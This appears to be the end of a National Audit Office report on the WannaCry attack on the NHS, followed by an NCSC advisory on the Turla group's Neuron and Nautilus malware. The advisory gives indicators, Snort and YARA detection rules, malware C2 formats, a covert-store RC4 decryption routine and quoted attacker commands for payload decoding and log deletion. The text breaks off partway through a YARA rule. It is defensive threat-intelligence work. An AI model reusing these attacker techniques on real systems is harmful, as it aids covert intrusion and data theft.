Figure 5 shows that the NHS had experienced a number cyber attacks prior to the WannaCry attack 26 Part Three Investigation: WannaCry cyber attack and the NHS Investigation: WannaCry cyber attack and the NHS Part Three 27 3.10 NHS England and NHS Improvement are talking to every major trauma centre and ambulance trust, and will reprioritise 21 million in capital funding from existing IT budgets to improve cyber-security in major trauma centres. NHS Digital has built a new CareCERT Collect portal to provide assurance that trusts have implemented cyber alerts and to collect central data on IT and digital assets in the NHS. Since 2015, the Department has made 50 million available to provide central support to the health and care system through the CareCERT suite of services. 3.11 Following the WannaCry attack, in July 2017 the Department published its response to the National Data Guardian and CQC recommendations. The response built on existing work to strengthen cyber-security in the NHS, involving the Department and its arm s-length bodies. For example, NHS Digital was developing its existing services to support local organisations, including broadcasting alerts about cyber threats, providing a hotline for dealing with incidents, sharing best practice across the health system and carrying out on-site assessments to help protect against future cyber attacks; and NHS England had embedded the 10 Data Security Standards, recommended by the National Data Guardian, in the standard NHS contract for 2017-18, and was providing training to its Board and local teams to raise awareness of cyber threats. The Department also told us that a revised version of the Information Governance Toolkit is being developed for use in 2018-19, and that the inspection framework used by the CQC will be updated to incorporate the data standards.7 The Information Governance Toolkit draws together the legal rules and central guidance issued by the Department of Health, and presents them in a single standard as a set of information governance requirements. All health and social care providers, commissioners and suppliers are required to carry out self-assessments of their compliance against these requirements. The Toolkit is commissioned by the Department and is maintained by NHS Digital. See www.igt.hscic.gov.uk/ 28 Appendix One Investigation: WannaCry cyber attack and the NHS Appendix One Our investigative approach Scope We conducted an investigation into the WannaCry cyber attack that affected the NHS in England on 12 May 2017. We investigated: the WannaCry attack s impact on the NHS and its patients; why some parts of the NHS were affected; and how the Department, NHS national bodies (NHS England, NHS Digital and NHS Improvement) and other national bodies, such as the National Cyber Security Centre and National Crime Agency, responded to the incident. Methods In examining the issues in paragraph one, we drew on a variety of evidence sources. We conducted semi-structured interviews with officials from: Department of Health NHS England NHS Digital NHS Improvement Care Quality Commission National Cyber Security Centre National Crime Agency Cabinet Office. Investigation: WannaCry cyber attack and the NHS Appendix One 29 We visited four local trusts to examine their roles and responsibilities in relation to cyber-security; the impact of WannaCry on the trust and its patients; and how the trust responded to the incident: Barts Health NHS Trust; Bedford Hospital NHS Trust; Northern Lincolnshire and Goole NHS Foundation Trust; and the Royal Marsden NHS Foundation Trust. We reviewed documents relating to the WannaCry ransomware attack including documents setting out roles and responsibilities for cyber-security in the NHS and across the wider public sector. We also reviewed published and unpublished research and reports relating to the NHS and WannaCry and cyber-security more generally. We carried out analysis of data provided by NHS England, NHS Digital and the Care Quality Commission. 30 Appendix Two Investigation: WannaCry cyber attack and the NHS Appendix Two Trusts infected or disrupted by WannaCry Figure 6 Trusts infected, or affected, by the WannaCry attack Trusts infected by WannaCry, and locked out of devices Barts Health NHS Trust Lancashire Care NHS Foundation Trust Birmingham Community Healthcare NHS Foundation Trust Lancashire Teaching Hospital NHS Trust Blackpool Teaching Hospitals NHS Foundation Trust Bradford District Care NHS Foundation Trust Bridgewater Community Healthcare NHS Foundation Trust Central Manchester University Hospitals NHS Foundation Trust Colchester Hospital University NHS Foundation Trust Mid Essex Hospital Services NHS Trust Norfolk and Norwich University Hospital NHS Foundation Trust North Cumbria University Hospitals NHS Trust Northern Lincolnshire and Goole NHS Foundation Trust Northumbria Healthcare NHS Foundation Trust Nottinghamshire Healthcare NHS Foundation Trust Plymouth Hospitals NHS Trust Cumbria Partnership NHS Foundation Trust Royal Berkshire Hospital NHS Foundation Trust East and North Hertfordshire NHS Trust Salford Royal NHS Foundation Trust East Cheshire NHS Trust Shrewsbury and Telford Hospital NHS Trust East Lancashire Teaching Hospitals NHS Trust Solent NHS Trust Essex Partnership University NHS Foundation Trust Southport and Ormskirk Hospital NHS Trust George Eliot Hospital NHS Trust The Dudley Group NHS Foundation Trust Greater Manchester Mental Health NHS Foundation Trust United Lincolnshire Hospitals NHS Trust Hampshire Hospitals NHS Foundation Trust Hull and East Yorkshire Hospitals NHS Trust Humber NHS Foundation Trust James Paget University Hospitals NHS Foundation Trust Source: NHS England Figure 6 shows Trusts infected, or affected, by the WannaCry attack University Hospitals of Morecambe Bay NHS Foundation Trust Wrightington, Wigan and Leigh NHS Foundation Trust York Teaching Hospitals NHS Foundation Trust Investigation: WannaCry cyber attack and the NHS Appendix Two 31 Trusts not infected by WannaCry but known to have experienced disruption Airedale NHS Foundation Trust Leicestershire Partnership NHS Trust Ashford and St Peters Hospitals NHS Foundation Trust Lincolnshire Community Health Services NHS Trust Barking, Havering and Redbridge University Hospitals NHS Trust Barnsley Hospital NHS Foundation Trust Bedford Hospital NHS Trust Bradford Teaching Hospitals NHS Foundation Trust Brighton and Sussex University Hospitals NHS Trust Buckinghamshire Healthcare NHS Foundation Trust Calderdale and Huddersfield NHS Foundation Trust Central London Community Healthcare NHS Trust Chelsea and Westminster Hospital NHS Foundation Trust Doncaster and Bassetlaw Hospitals NHS Foundation Trust Dorset Healthcare NHS Foundation Trust East Kent Hospitals University NHS Foundation Trust Great Ormond Street Hospital NHS Foundation Trust s and St Thomas NHS Foundation Trust Harrogate and District NHS Foundation Trust Kettering General Hospital NHS Foundation Trust Kingston Hospital NHS Trust Leeds and York Partnership NHS Foundation Trust Leeds Community Healthcare NHS Trust Leeds Teaching Hospitals NHS Trust Source: NHS England Lincolnshire Partnership NHS Trust London North West Healthcare NHS Trust Luton and Dunstable NHS Trust Mid Yorkshire Hospitals NHS Trust Moorfields Eye Hospital NHS Foundation Trust North West Ambulance Service NHS Trust Northampton General Hospital NHS Trust Northamptonshire Healthcare NHS Foundation Trust Rotherham, Doncaster and South Humber NHS Foundation Trust Sheffield Children s NHS Foundation Trust Sheffield Health and Social Care NHS Foundation Trust Sheffield Teaching Hospitals NHS Foundation Trust South West Yorkshire Partnership NHS Foundation Trust South Western Ambulance Service NHS Foundation Trust Sussex Community NHS Foundation Trust The Rotherham NHS Foundation Trust University Hospitals of Leicester NHS Trust West Hertfordshire Hospitals NHS Trust West London Mental Health NHS Trust Yorkshire Ambulance Service NHS Trust This report has been printed on Evolution Digital Satin and contains material sourced from responsibly managed and sustainable forests certified in accordance with the FSC (Forest Stewardship Council). The wood pulp is totally recyclable and acid-free. Our printers also have full ISO 14001 environmental accreditation, which ensures that they have effective procedures in place to manage waste and practices that may affect the environment. 10.00 ISBN 978-1-78604-147-0 Design and Production by NAO External Relations DP Ref: 11594-001 9 781786 041470 TLP WHITE Turla group using Neuron and Nautilus tools alongside Snake malware Version 2.0 Reference: NCSC-Ops/35-17 23 November 2017 Crown Copyright 2017 TLP WHITE Page 1 of 27 TLP WHITE About this document This report provides new intelligence by the NCSC on two tools used by the Turla group to target the UK. It contains IOCs and signatures for detection by network defenders. Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions. Disclaimer This report draws on reported information and NCSC investigations into Turla activity in the UK. TLP WHITE Page 2 of 27 TLP WHITE Contents Introduction............................................................................................................................................ 4 Neuron Analysis ................................................................................................................................... 5 Neuron Service ................................................................................................................................. 6 Associated Files ........................................................................................................................... 6 Infection Vector & Install ............................................................................................................. 7 Persistence.................................................................................................................................... 7 Network Communications ........................................................................................................... 8 Capabilities .................................................................................................................................. 10 Neuron Client .................................................................................................................................. 10 Associated Files ......................................................................................................................... 10 Persistence.................................................................................................................................. 11 Configuration ............................................................................................................................... 12 Network Communications ......................................................................................................... 12 Capability ..................................................................................................................................... 13 Associated Files ......................................................................................................................... 15 Configuration ............................................................................................................................... 15 Communications ......................................................................................................................... 17 Capability ..................................................................................................................................... 18 Appendix A .......................................................................................................................................... 20 Neuron Client .................................................................................................................................. 20 Neuron Service ............................................................................................................................... 21 Neuron Yara .................................................................................................................................... 22 Nautilus ................................................................................................................................................ 25 Nautilus Yara................................................................................................................................... 25 Additional Indicators for Forensic Analysis .................................................................................... 27 TLP WHITE Page 3 of 27 TLP WHITE Introduction Neuron and Nautilus are malicious tools designed to operate on Microsoft Windows platforms, primarily targeting mail servers and web servers. The NCSC has observed these tools being used by the Turla group to maintain persistent network access and to conduct network operations. The Turla group use a range of tools and techniques, many of which are custom. Using their advanced toolkit, the Turla group compromise networks for the purposes of intelligence collection. The Turla group is known to target government, military, technology, energy and commercial organisations. The Turla group has operated on targets using a rootkit known as Snake for many years. Like Neuron and Nautilus, Snake provides a platform to steal sensitive data, acts as a gateway for internal network operations and is used to conduct onward attacks against other organisations. The Turla group are experienced in maintaining covert access through incident response activities. They infect multiple systems within target networks and deploy a diverse range of tools to ensure that they retain a foothold back onto a victim even after the initial infection vector has been mitigated. The NCSC has observed both Neuron and Nautilus being used in conjunction with the Snake rootkit. In a number of instances, one or both of these tools has been deployed following the successful installation of Snake. The NCSC believes that Neuron and Nautilus are another component of the wider Turla campaign and are not acting as replacements for the Snake rootkit. It is likely that these tools have seen wider deployment since the Snake rootkit has been reported on by the information security industry, providing the group with additional methods of access. This advisory provides information to detect Neuron and Nautilus infections. The NCSC encourages any organisation that has previously experienced a compromise by the Turla group to be diligent in checking for the presence of these additional tools. Whilst they are commonly deployed alongside the Snake rootkit, these tools can also be operated independently. TLP WHITE Page 4 of 27 TLP WHITE Neuron Analysis Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network. The main method of communication between the Neuron client and service is via HTTP requests. The Neuron service creates its own HTTP listener and waits for requests to a configured Neuron URL endpoint. These endpoint names are themed around legitimate web services, such as Microsoft Exchange and Microsoft IIS, which further helps malware traffic appear legitimate. Details of these endpoints are provided in the Neuron service communications section of this advisory. A subset of Neuron services analysed by the NCSC can receive communications via pipes alongside the HTTP listener, however this functionality is missing from some samples. One of the main pieces of functionality implemented within Neuron is the synchronising StorageFile objects and StorageScript objects between the client and service. These are described in more detail in the Network Communications section. This malware is referred to as Neuron due to the presence of a PDB string within the binary and various other references throughout. c:\Develop\internal\neuron-client\dropper-svc\obj\Release\dropper-svc.pdb TLP WHITE Page 5 of 27 TLP WHITE Neuron Service The Neuron service is typically installed on compromised infrastructure such as mail and web servers, and listens for HTTP requests from infected clients. In this way, Neuron service acts as a Command & Control (C2) server inside the victim network for infected Neuron clients. While Neuron service examples observed by the NCSC have been running on servers, it is also possible for it to be run on Windows clients. The installation of a C2 server inside the victim network allows the actor to evade detection by network gateway based monitoring. While external communications are required for the actor to make connections back to their upstream C2 infrastructure, these communications are often encrypted using the legitimate TLS configuration of the victim network. The Neuron service and client model enables the communications to appear legitimate, with endpoint victims running the client, and the actor initiating connections to the (typically) outward-facing Neuron infected server. Associated Files Name Microsoft.Exchange.Service.exe Description Neuron Service 0f12268221e27406351a6313f902b498 SHA1 b0dbdc81a0e367330007b7e593d8dabf92ca7afd SHA256 d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 Size 43008 Name w3wpdiag.exe Description Neuron Service 371b4380080e3d94ffcae1a7e9a0d5e2 SHA1 f7088075d1c798f27b0d269c97dc877ff16f1401 SHA256 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 Size 59392 Name Updater.exe Description Neuron Service 8229622a9790d75e09a099e8758d5703 SHA1 10586913ceeecd408da4e656c29ed4e91c6b758e SHA256 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 Size 44544 TLP WHITE Page 6 of 27 TLP WHITE Name w3wpdiag.exe Description Neuron Service a3bdc385cf68019449027bd6d8cecb4d SHA1 fe8da5a1e62a8d4f627834b0f26c802a330d8d45 SHA256 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 Size 58880 Name dropper-svc.exe Description Dropper for the Neuron service d6ef3c8f2c3f3ddffbb70f5dadfa982c SHA1 934b288075c122165897276b360c61e77cb7bde0 SHA256 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb Size 85008 Infection Vector & Install The infection vector for the Neuron service is typically via exploitation of application layer vulnerabilities in server software, server misconfigurations, or brute-force attacks on administrative accounts. Neuron service requires a dropper that essentially performs the same actions as the client dropper, embedding the final payload using the same method detailed in the Neuron client section. The service dropper takes a parameter of the path where the payload will be dropped. Following execution, the dropper modifies the last access time of the deployed files to match the timestamps of the legitimate file EdgeTransport.exe . It is advised that forensic investigators conduct a search for files that have this timestamp applied. Finally, the dropper executes the following command to remove all installation log files: cmd.exe /c del *.InstallLog *.InstallState Persistence In order to persist on the compromised hosts, Neuron service installs itself as an automatic service, allowing the infection to persist through a server restart. The Neuron service can be manually stopped and removed, and contains no method of reestablishing execution. TLP WHITE Page 7 of 27 TLP WHITE The Neuron service attempts to masquerade as legitimate Microsoft Exchange or Microsoft IIS services. A list of the service names and descriptions used within Neuron samples is as follows: SERVICE NAME DISPLAY NAME DESCRIPTION MSExchangeService Microsoft Exchange Service Host service for the Microsoft Exchange Server management provider. If this service is stopped or disabled, Microsoft Exchange cannot be managed. W3WPDIAG Microsoft IIS Diagnostics Service Host service for the Microsoft IIS management provider. If this service is stopped or disabled, Microsoft IIS cannot be managed. Updater Updater Host service for software update. If this service is stopped or disabled, software cannot be update. Network Communications Communications between the client and service are via HTTP requests. The service will establish a HTTP listener, commonly on port 443 (https), however instances have been analysed where port 80 (http) is used instead. The listener waits for requests on the host matching specific URIs defined by the configuration. The following have been defined in the configuration in Neuron samples analysed by the NCSC: https://*:443/ews/exchange/ https://*:443/W3SVC/ https://*:80/W3SVC/ Neuron clients send requests to the defined endpoint in order to communicate with the service. In order to make the traffic from clients look legitimate, the actor has chosen to name their endpoints with common Microsoft Windows terms. Communications are encrypted using RC4 as an additional layer of security. The RC4 key is sent to the connecting client using a pre-configured RSA key. Parameters for a request are sent in the POST body, with the following values possible: cadataKey cadata cadataSig TLP WHITE Page 8 of 27 TLP WHITE The values for these parameters are base64 encoded and RC4 encrypted using the key exchanged between the client and service. Each parameter performs a different task within the service; for example, requests the current RC4 key and cadata sends an instruction to be run. An example HTTP communication is shown below: POST https:///ews/exchange/exchange.asmx HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: Content-Length: Expect: 100-continue Connection: Keep-Alive cadata= The following SNORT rules can be used to alert on this traffic. Network collection will need to be in place between the client and server; in most instances, this is between two machines within the same LAN: alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg: "Web/request\:POST - Neuron A"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre: "/\ncadata=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg: "Web/request\:POST - Neuron B"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre: "/\ncadataKey=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg: "Web/request\:POST - Neuron C"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre: "/\ncid=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: 1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg: "Web/request\:POST - Neuron D"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre: "/\ncadataSig=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: In addition to HTTP communications, some observed Neuron service samples have functionality that enables the clients to communicate with it via pipes, for example: pipe://*/Winsock2/w3svc TLP WHITE Page 9 of 27 TLP WHITE Capabilities The main functionality of the Neuron service is to return and synchronise StorageFile and StorageScript objects between the client and service. A StorageFile object contains information about a file including its name, modified date and the file contents; a StorageScript object contains instructions . There are multiple instruction types, including the following: Executing a command using cmd.exe Creating new StorageFiles Downloading specified or all StorageFiles Neuron Client The Neuron client component is typically installed on endpoint machines within a victim network. Command & Control (C2) is conducted by the Neuron service. The client is designed to collect, package and send documents to the service component for onward exfiltration. Associated Files Name neuron-client.exe Description Neuron Client 4ed42233962a89deaa89fd7b989db081 SHA1 cf731ee0af5c19231ff51af589f7434c0367d508 SHA256 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 Size 55808 Name Sign.exe Description Dropper for the Neuron client 3cd5fa46507657f723719b7809d2d1f9 SHA1 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 SHA256 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 Size 115712 Name mydoc.doc Description Macro document that drops and runs Sign.exe (client dropper) 66f4f1384105ce7ee1636d34f2afb1c9 SHA1 3f23d152cc7badf728dfd60f6baa5c861a500630 SHA256 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b Size 591360 TLP WHITE Page 10 of 27 TLP WHITE Name Description Macro document that drops and runs Sign.exe (client dropper) 0e430b6b203099f9c305681e1dcff375 SHA1 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 SHA256 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 Size 590336 Infection Vector and Install The Neuron client infection vector appears to be via spear-phishing victims with documents containing macros. When a document is opened, and macros are enabled, a base64 encoded blob is constructed and written to the %temp% directory as Signature.crt ; this is then decoded using the legitimate Microsoft binary certutil.exe for example: certutil.exe -decode %TEMP%\Signature.crt %TEMP%\Sign.exe The resulting executable is the Neuron client dropper, which is responsible for setting up any initial configuration, establishing persistence and dropping the main payload to disk. The main payloads are embedded in the dropper executable and are GZIP compressed and RC4 encrypted with a hardcoded key. The dropper is also responsible for deploying any legitimate DLLs that may also be required these are stored in the same way. All files are placed into the directory from which the dropper was executed. Persistence The Neuron client executable contains no functionality to establish persistence. Instead, the dropper handles this for the client by creating a scheduled task, enabling it to persist after a reboot. The task is scheduled to run every 12 minutes (PT12M), with a task ID of Microsoft Corporation and a task description constructed from a string retrieved from a randomly selected registry value. To build the task description, a list of value names of length 9 or greater but not containing "\" are retrieved from HKLM\\Software\\Microsoft registry. One of these values is selected and prefixed to the string " updater". This is then used as the description for the scheduled task. TLP WHITE Page 11 of 27 TLP WHITE Configuration The Neuron client configuration is stored in the registry as JSON; it must be set up by the dropper before the client is run as no defaults are specified. The configuration includes the domains where Neuron service implants have been deployed, so that the client can communicate with them. The configuration also specifies a beacon interval for each domain, along with a keep alive interval and time wait interval. An example of the server configuration in JSON representation, taken from a Neuron client dropper, is as follows: Connect https:///ews/exchange/exchange.asmx Interval : 17 https:////ews/exchange/exchange.asmx Interval : 32 KeepAliveInterval : 7, CmdTimeWait Network Communications Communications are detailed in the Neuron service section. The Neuron client and service primarily communicate via HTTP requests. As an extra layer of security, the client RC4 encrypts any data being sent. The key used is the Machine GUID retrieved from the registry (SOFTWARE\Microsoft\Cryptography\MachineGuid); if this is not set then the default key 8d963325-01b8-4671-8e82-d0904275ab06 is used. TLP WHITE Page 12 of 27 TLP WHITE Capability Once loaded the Neuron Client will loop indefinitely, performing a sync of storage files with the Neuron service. The interval between synchronisations is specified in the configuration by the CmdTimeWait value. In order to synchronise with the service, the client will retrieve all local StorageFile objects and all StorageFiles on the service (without file data) and compare these for differences. The client retrieves the StorageFiles from the service by sending a POST request with the following data within the parameter cadata : 0, data This is encrypted with RC4 and then base64 encoded before being sent. The service will respond with a list of all StorageFile metadata (i.e. name and date of each StorageFile). This is then used to determine which StorageFiles the client is missing, as well as any files which the service is missing. The client will send any required files (including file data) to the service by sending the following command data: : 1, data Where a storage file object has a JSON representation as follows: name : name, data : data, date : date Finally, the client will download all missing StorageFiles from the service by sending the following command data: : 2, data : TLP WHITE Page 13 of 27 TLP WHITE Where the sent data contains the required StorageFile names, as follows: name storage.file.1 name storage.file.2 These new files are then written to disk, and added to the clients list of StorageFiles. TLP WHITE Page 14 of 27 TLP WHITE Nautilus Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name nautilus-service.dll , again sharing some resemblance to Neuron. The main payload and configuration of Nautilus is encrypted within a covert store on disk which is located in \ProgramData\Microsoft\Windows\Caches\ . The loader DLL will access this covert store to decrypt the payload (oxygen.dll), which is then loaded into a target process via reflective loading. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk. Associated Files Name dcomnetsrv.dll Description Nautilus Loader DLL 2f742ec3bb7590602bc3e97326f2476a SHA1 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 SHA256 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 Size 121344 Name oxygen.dll Description Nautilus Injected payload ea874ac436223b30743fc9979eed5f2f SHA1 5ed61ec7de11922582f07c3488ef943b439ee226 SHA256 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Size 620568 Persistence Nautilus achieves persistence by running as a service, dcomnetsrv, which is set to automatically start. It is very likely that this is established by the Nautilus dropper, similar to the Neuron service dropper; however, the NCSC has not yet analysed a sample of this file. Configuration The configuration for Nautilus is stored encrypted within a covert store that was located \ProgramData\Microsoft\Windows\Caches\ TLP WHITE Page 15 of 27 TLP WHITE The server configuration block, which defines the port and URL for Nautilus to listen on, is passed in the identifier config_listen.system . A sample configuration is shown below: proto=https host=+ port=443 param=OWA-AUTODISCOVER-EWS Nautilus also stores several other pieces of contextual information within the covert store under the identifier ctx.system , including an RSA public key: -----BEGIN PUBLIC KEY----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg4r6SSnj2PnYbe6C4H8c M7162eRS+RTE8BYW8cTGdFPSiDiVOblImyddBLu/fW7MSc+BUsmg2l9SVyvJrHJk 0xnr7PRH9Dq7IcTYzQPMSsG1nC2Lej09EtilKwAQP08MIpiredzgXwom3rlH0Trc HiKxjLhQcuK0Mllsq+54gYPaoi6LkZG/lUxhWuGI1M2i3/dHp40vbwaaL5Sotxuv jSytDsU75U5T+rCAHVMykiLi/x7PKg40JQoYGMSOPUJsx87i/uy3uHoecl2ns038 b70Gh6KJ4x5mwaKjMRsSm8PUN6ccHSyqetpXuTXoKU5dEDIQLNAwXTZY40d/aTEx uQIDAQAB -----END PUBLIC KEY----- The covert store uses a proprietary format to store data. This format stores separate streams (i.e. one for the config and one for the context) with each split into chunks of 4096 bytes and encrypted using RC4. The offset to the next chunk is calculated by taking the decrypted int value at offset 0xFF8 of the decrypted chunk, shifting this left by 0xC and then adding 0x10000. For the first chunk, this initial int value is at offset 0xB4 of the header. A default RC4 key is used to decrypt the first chunk; this key is hardcoded into Nautilus 1B1440D90FC9BCB46A9AC96438FEEA8B but is passed into a function that trims the length to 31 bytes, resulting in the final 32 byte initial RC4 key being 1B1440D90FC9BCB46A9AC96438FEEA8\x00 The RC4 implementation used for encryption of the covert store has been modified from a standard implementation. This may be an attempt to frustrate decryption; however, it is easily spotted when reverse engineering the sample. TLP WHITE Page 16 of 27 TLP WHITE The following Python implementation duplicates the modified RC4 XOR loop: def rc4(data, key): x = 0 box = range(256) for i in range(256): x=(x + box[i] + ord(key[i%len(key)])) % 256 box[i], box[x] = box[x], box[i] out = [] key = [] i = box[1] j = box[i] box[i] = i box[1] = j for char in data: sbb = box[i % 256] i += 1 sbb += j kb = box[sbb % 256] out.append(chr(ord(char) ^ kb)) return ''.join(out) A covert store can be identified by RC4 decrypting the 4 bytes at offset 0xFFFC with the default RC4 key followed by comparison with the magic bytes 0x3a29bd32. Communications Communication with clients is performed in a similar fashion to Neuron. Nautilus listens for incoming connections from clients on port 443 that are addressed to the URL /OWA-AUTODISCOVER-EWS ; this URL path could be modified. Nautilus is commonly installed on a victim mail server, enabling the pre-installed TLS configuration to be used. Data sent to the service is encoded in the referrer header, which is masquerading as a legitimate Bing search. The format string used to create this is as follows: Referer: http://www.bing.com/search?q=%s&go=Submit&qs=n&pq=%s&sc=0-11&sp=1&sk=&cvid=%s&first=21&FORM=%s TLP WHITE Page 17 of 27 TLP WHITE Capability The malware can take commands from connecting clients to perform on the infected host. The commands take the format "O_001", "O_002" and so on. A subset of these commands allow Nautilus to be tasked with the following: O_001: Execute a cmd.exe command O_002: Read file O_003: Write file O_007: Delete file O_008: GetTempPathA O_009: Sleep O_010: Create directory O_011: Check if directory O_012 Duplicate of O_011 There also appear to be some separately processed commands containing the following functionality: O_100 Shutdown (implant) O_101 Uninstall TLP WHITE Page 18 of 27 TLP WHITE ErrorFE.aspx Alongside the Neuron and Nautilus toolkits, the NCSC identified a file named errorFE.aspx . This file was installed on a number of victims following the successful exploitation of web application software, and provides additional persistence to enable the deployment of further tools. The script defines its working directory as the value of the Windows environment variable temp , using this location to drop and execute files and collect data. This script accepts web requests and extracts the cookie parameter; valid data in the cookie is base64 encoded and AES encrypted using hardcoded values. The script supports the processing of multiple cookies from a single request, indicating it is possible to issue multiple commands in a single request. When the cookie value is decoded and decrypted, the script expects one of the following commands followed by any additional parameters: Command update time Function Accepts a file name and writes the contents data request parameter to a file in the working directory Overwrites the shell itself with the content of the data request parameter Updates the timestamp on a specific file with a specified timestamp (creation, last write and access). Executes a provided command using cmd.exe Deletes a specified file Gets a specified filename from the working directory and returns its contents to the requestor TLP WHITE Page 19 of 27 TLP WHITE Appendix A Neuron Client File Name Description File Size (bytes) SHA1 SHA256 neuron-client.exe Neuron Client 55808 File Name Description File Size (bytes) SHA1 SHA256 Sign.exe Dropper for the Neuron Client 115712 File Name Description File Size (bytes) SHA1 SHA256 mydoc.doc Macro document that drops and runs Sign.exe (client dropper) 591360 File Name Description File Size (bytes) SHA1 SHA256 Macro document that drops and runs Sign.exe (client dropper) 590336 4ed42233962a89deaa89fd7b989db081 cf731ee0af5c19231ff51af589f7434c0367d508 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 3cd5fa46507657f723719b7809d2d1f9 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 66f4f1384105ce7ee1636d34f2afb1c9 3f23d152cc7badf728dfd60f6baa5c861a500630 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b 0e430b6b203099f9c305681e1dcff375 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 TLP WHITE Page 20 of 27 TLP WHITE Neuron Service File Name Description File Size (bytes) SHA1 SHA256 Microsoft.Exchange.Service.exe Neuron Service 43008 0f12268221e27406351a6313f902b498 b0dbdc81a0e367330007b7e593d8dabf92ca7afd d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 File Name Description File Size (bytes) SHA1 SHA256 w3wpdiag.exe Neuron Service 59392 371b4380080e3d94ffcae1a7e9a0d5e2 f7088075d1c798f27b0d269c97dc877ff16f1401 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 File Name Description File Size (bytes) SHA1 SHA256 Updater.exe Neuron Service 44544 8229622a9790d75e09a099e8758d5703 10586913ceeecd408da4e656c29ed4e91c6b758e 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 File Name Description File Size (bytes) SHA1 SHA256 w3wpdiag.exe Neuron Service 58880 a3bdc385cf68019449027bd6d8cecb4d fe8da5a1e62a8d4f627834b0f26c802a330d8d45 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 File Name Description File Size (bytes) SHA1 SHA256 dropper-svc.exe Dropper for the Neuron service 85008 d6ef3c8f2c3f3ddffbb70f5dadfa982c 934b288075c122165897276b360c61e77cb7bde0 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb TLP WHITE Page 21 of 27 TLP WHITE Neuron Yara rule neuron_common_strings { meta: description = "Rule for detection of Neuron based on commonly used strings" author = "NCSC UK" hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29" strings: $strServiceName = "MSExchangeService" ascii $strReqParameter_1 = "cadataKey" wide $strReqParameter_2 = "cid" wide $strReqParameter_3 = "cadata" wide $strReqParameter_4 = "cadataSig" wide $strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide $strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide $strIdentifier = "MSXEWS" wide $strListenEndpoint = "443/ews/exchange/" wide $strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide $strName = "neuron_service" ascii $dotnetMagic = "BSJB" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 